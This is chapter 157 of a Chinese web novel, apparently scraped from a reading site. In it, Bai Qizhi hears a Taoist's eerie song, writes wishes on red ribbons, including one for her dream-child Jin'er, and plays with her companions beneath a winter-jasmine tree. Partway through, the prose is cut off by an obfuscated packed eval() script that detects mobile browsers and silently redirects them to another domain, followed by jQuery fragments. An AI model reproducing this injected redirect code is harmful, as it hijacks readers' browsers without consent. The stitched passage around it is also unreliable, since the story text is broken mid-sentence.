默认冷灰
24号文字
方正启体

157. 祈愿

作者:朝朝颂安本书字数:K更新时间:
    “呸呸呸!你这臭道士瞎说什么!敢说这种不吉利的话,我看你真是……”


    “春花。”


    春花本来要去搡那臭道士,但白栖枝一开口,她便也只能愤愤止住动作,向后退了回去。


    那道士登时笑得见眼不见牙:“哎呀呀,我只说她身上的鬼多,又不是说她身上的那些鬼要害她,你这么着急做什么。况且——”他低头小声嘟囔了一句,白栖枝没有听清,等到这人再抬头,只对她说道,“放心吧,你身上这些鬼不是来害你的,她们是来救你的!”


    说完,他也不顾春花用奇怪的眼神看着他,兀自大摇大摆地转身就走。


    有春风梳过寂静的庭院。


    道士宽大的破旧道袍袖子甩得呼呼作响,一步三摇,嘴里开始含糊不清地哼唱起来。那调子古怪又苍凉,像是荒腔走板的乡间小调,词句清晰却如冷雨浇头:


    “月弯弯,影幢幢,新魂旧鬼撞胸膛,


    非是冤亲非是债,身死千千趟。


    前头坑,左边刀,右边火海万丈高,


    哪个‘我’跌进去,便来此间告。


    莫惊惶,休悲号,万鬼托身命一条,


    骸骨铺陈此间路,托你步步高。


    千条命,万般巧,才铺就你脚下道,


    莫问她们何处去,魂散天地渺。


    魂散天地渺……


    托你上云霄……”


    歌声渐行渐远,最后几个字“上云霄”带着一种诡异的飘忽感,尾音袅袅,竟似有无数细碎的女声在应和、叹息,随即又消散在风中。


    不待白栖枝反应过来,那道士身形一晃,已然消失在迎春花下,碎金般,斑斑驳驳的阴影里。


    春花掐腰不满道:“小姐,他怎么唱歌跟说梦话一样?真难听!”


    白栖枝默然不语。


    倘若没有那次坠湖,她未必能明白这道士的歌谣该是何意,可如今,她大概明白一些了。


    那些所谓的鬼并不是她身上背负的冤孽。她们或许是其他尘世中的她。


    ——身死千万个,铸成一个我。


    她们是来帮她的。


    她们是来救她的!


    “枝枝。”


    身后有人轻唤,白栖枝猝然回魂,转头,就见着沈忘尘和芍药缓缓向她而来。


    前者见她一副失神的模样,轻声问道:“在想什么?”


    白栖枝摇摇头。


    她没有说方才的事,只是举了举手中的红丝绦:“只是在想祈福时该写些什么愿。”说完,又问,“你要不要也写一点?”


    沈忘尘摇摇头:“算了。”也问,“枝枝打算写什么?”


    写什么?


    白栖枝蘸墨舔笔,写下一行清秀的簪花小楷。


    第一条——


    “一愿林听澜早日归帆,风波尽处见平安。”


    第二条——


    “二愿沈忘尘沉疴可散,康健无忧岁岁安”


    第三条——


    “……”


    第三条。


    染墨笔锋悬于赤红红绦之,庭院里春风拂过,道士诡异的歌谣似乎还在耳畔低回萦绕:


    千条命,万般巧,才铺就你脚下道,莫问她们何处去,魂散天地渺。


    魂散天地渺,托你上云霄!


    白栖枝深吸一口气,带着一种近乎悲悯的决然,在第三条红绦上郑重写下第三愿:


    “三愿‘白栖枝’魂归地府,来世托生福寿全。”


    笔尖放下,白栖枝指尖微凉。


    她的名字落在红丝绦上,显得格外刺眼。


    一旁的春花见了,急忙大叫道:“小姐,你这……哪有活人祝自己早日魂归地府的,不吉利、不吉利!”


    她抿着唇,面容急切,甚至都想让白栖枝重新写一条。


    可白栖枝只是对她甜甜一笑。


    ——莫问她们何处去,魂散天地渺,托你上云霄。


    她想,她应该将这红绦挂得高一些,这样天上的神仙们或许就能看到她的愿望了。


    可是——


    蹦!


    蹦蹦!!


    蹦蹦蹦!!!


    白栖枝好气恼。


    为什么她都已经这么努力地蹦高了,却连最矮的那根枝子都够不到?为什么她会生得这么矮?为什么只有她够不到?


    最生气的时候,白栖枝甚至撸起袖子就要展示一下自己的爬树技巧。


    “芍药。”


    身后人轻飘飘的一句话落下,白栖枝手中一空,下一秒,就见芍药足尖轻点,蓦地掠上枝头,带有薄茧的指尖衔了一根花枝,俯身问她:“白小姐,这根可好?”


    虽然大家都心知肚明白栖枝俨然是林家的正统主母,可私下里,他们还是更愿称她为小姐,仿佛这样就能掩盖她早就嫁进林府的事实。


    而这正是白栖枝想要的。


    她用手在眼睛上搭了个凉棚,抬头,欢喜询问:“芍药姐,能不能再高一点?”


    “这样?”


    “再高一点!”


    “这里?”


    “再高再高!”


    眼见几乎要见不到芍药纤细的身形,白栖枝这才心满意足地朝上头大喊道:“好了芍药,就在那里吧!”


    花枝颤抖,抖落一树嫩黄迎春。


    有成朵成朵的迎春落在白栖枝发间,她手搭凉棚视线太窄看不到,却叫阴影外的沈忘尘瞧了个分明。


    迎春树下,花影摇动,枝叶交错间漏下的阳光斑驳如碎金。


    少女玉面淡拂,素齿朱唇,映着春光巧笑倩兮、美目盼兮。


    正合青春亭亭一万岁。


    倏而花枝又抖,是芍药顶着一头迎春从树上跃下,正巧又落得点点金黄坠入春花鬓间,三人便这样低头互相拂花拨叶,好不热闹。


    唯独沈忘尘一人坐在轮椅中,远远看着,脸上带笑。


    他像是独立于三人之外的某人,无法融入,又不能擅自走掉,只能这样坐在原地静静地看着。


    一切似乎又回到他在学堂一人独处的那段时光。


    少年十五六岁,正是血气方刚、喜爱热闹的年纪。那时候,他见学堂里的其他人也是这样在远处笑着闹着好不快活,而他却只能像个丑角一样坐在原地捧着书本偷偷去听、去看、去偷偷地艳羡。


    难道他就不想融入进去一起与同窗笑闹么?


    可是,他身份低微,又连个玩伴都没有,又从哪里能得来勇气与他们攀谈呢?


    寂寞。


    越是处在欢欣的氛围里越寂寞,越是看他人开心越寂寞。


    无边无际的空虚感几乎要将沈忘尘吞噬殆尽,这种阴影,是他一辈子都无法释怀的恐惧,哪怕时至今日,他依旧无法与孤独和解。


    “公子。”思索着,芍药淡着一张脸来到他面前。


    “嗯?”沈忘尘挂着笑微微抬头,就见这人捧着一捧迎春花,僵硬地站在他面前。


    未等沈忘尘询问她要做何事,就先听到芍药低声轻语一句:“主子,对不住。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656810|157766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>哗——


    少女扬起手臂天上下了好大一泼迎春花雨,点点金黄雨滴似地坠下,朵朵迎春就这样坠在沈忘尘的发间、眉间、腰间。


    他一愣。


    树影下,轻轻飘来少女隐忍的轻笑声。


    随后,他听见芍药局促地补上一句:“抱歉公子,是白小姐让我这样做的。”


    满头鲜花的沈忘尘:“……”


    “公子。”芍药跟在沈忘尘身边时间最长,自然知道他肯定不会任人戏弄,至少上个如此戏弄过公子的人早就魂归幽冥。


    算来,那人今年该有一岁半了。


    一念至此,芍药方要下跪请罪,却不慎撞上沈忘尘那双含笑的桃花眼。


    “下次不许了……”


    主人,在笑?


    虽然沈忘尘那张假面一直是在笑的,可芍药却能从他眼中意味来分出他是否在真的开心。


    除却早几年遇见林听澜同他游山玩水时,芍药鲜少见沈忘尘真的流有笑意,尤其是在双腿尽断之后,他便总是悒悒的、憎恨的,虽有些大逆不道,但在她眼中,主人的确早已是个厉鬼模样了。


    可如今主人居然在笑?


    况且这笑意不是浮于假面之上,而是如同溪水从泉眼里涌出一样,真真切切地,从他那双形状姣好的桃花眼里流露出来。


    有些事,好像真的在一点点变化了。


    芍药不似懂非懂,默默退回沈忘尘身后垂手而侍。


    沈忘尘抬手拂了拂坠在衣袍上的落花,抬眸,看向面前眼尾眉梢都浸满了笑意的少女,说:“枝枝,该下山了。”


    后者这才敛了笑意。


    是了,该下山了,不然误了时辰,就要叫大家好等。


    可是,总觉得忘了什么。


    白栖枝深吸一口气,转头,带着浅淡笑意回望向那满树繁花的迎春。


    那花开的真是极好。


    满树金黄在春风中摇曳生姿,像是无数只振翅欲飞的蝴蝶,于静谧无声处落下,又于静谧无声处迎来新生。


    白栖枝就这样看着、看着,忽地,就想起来她究竟忘记了什么。


    她又抽出一条红丝绦,又拿起蘸了墨的笔,在丝绸上柔柔地写下一个字:


    “锦。”


    锦儿。


    这是白栖枝在梦魇里反反复复念过千万遍的名字。


    沈忘尘依稀记得,这是她在梦魇中所孕育的孩子。


    白栖枝抬眸便撞见沈忘尘了然却又带着困惑的神情,她从春花那里听到过的,沈忘尘曾在她病中陪过她,想来她的那些呓语应早就被他听了个干净。


    既然如此,白栖枝也觉得没有瞒着他的必要,便开口淡淡笑道:“我不知道那孩子的姓名,只知道他应该是姓林,名里带着一个锦字。”


    沈忘尘低声开口:“锦儿。”


    “对,锦儿。”白栖枝道“在那场梦魇里,他是我的孩子,是自我骨血凝成的生命。如今不知他在凡世过得如何,是否安好。不过既然此世的我已知晓他的存在,作为阿娘,理应也该为他祈上一支福。”


    “枝枝……”沈忘尘想说些什么,却被白栖枝大打断。


    只见面前的小姑娘看着红丝绦上的墨字微微一笑:“虽然是段很可怕的回忆,可若那孩子还要投我腹中我也不会拒绝,只是这次,我会亲手教导他。”


    她说——


    “从前种种,譬如昨日死;从后种种,譬如今日生[1]。”


    只愿在此世中,大家都能有个好归宿。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)